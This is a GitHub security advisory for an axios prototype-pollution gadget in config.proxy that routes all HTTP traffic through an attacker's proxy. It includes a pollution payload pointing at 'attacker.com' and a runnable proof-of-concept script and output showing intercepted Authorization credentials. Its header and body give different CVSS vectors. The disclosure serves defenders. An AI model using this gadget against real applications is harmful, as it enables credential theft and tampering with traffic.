GitHub Advisoryadvisory · npm
GHSA-35jp-ww65-95wh axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
HIGH
Official page ↗
- Aliases
- CVE-2026-44494
- Ecosystem
- npm
- Packages
- axios
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-1321, CWE-441
- Reviewed
- 2026-05-29
Affected packages
• npm axios: >= 1.0.0, < 1.16.0 → fixed in 1.16.0
Description
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is not present in Axios defaults, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes all HTTP requests through the attacker's proxy server.
Unlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: `lib/adapters/http.js` (config property access on merged object)
CWE
• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike `transformResponse` which must return `true` |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from `transformResponse`: the `proxy` property is not in defaults (`lib/defaults/index.js` does not set `proxy`). This means:
1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set
2. `defaultToConfig2` for `proxy` is never called
3. The merged config has no own `proxy` property
4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain
5. `Object.prototype.proxy` is found → used by `setProxy()`
This is a more direct attack path than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
```javascript
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
```
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
```javascript
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
```
3. The Execution
At `http.js:668-670`:
```javascript
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
```
`setProxy()` at `http.js:191-239` then:
```javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
```
4. The Impact (Full MITM)
The attacker's proxy server receives:
```http
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*
```
The `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:
• Sees every request URL, header, and body
• Modifies every response (inject malicious data, change auth results)
• Logs all API keys, session tokens, and passwords
• Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
```javascript
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
```
Verified PoC Output
```
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios…
Related
Alias · CVE (1)
- CVE-2026-44494 Axios is a promise based HTTP client for the browser and Node.js. vulnerability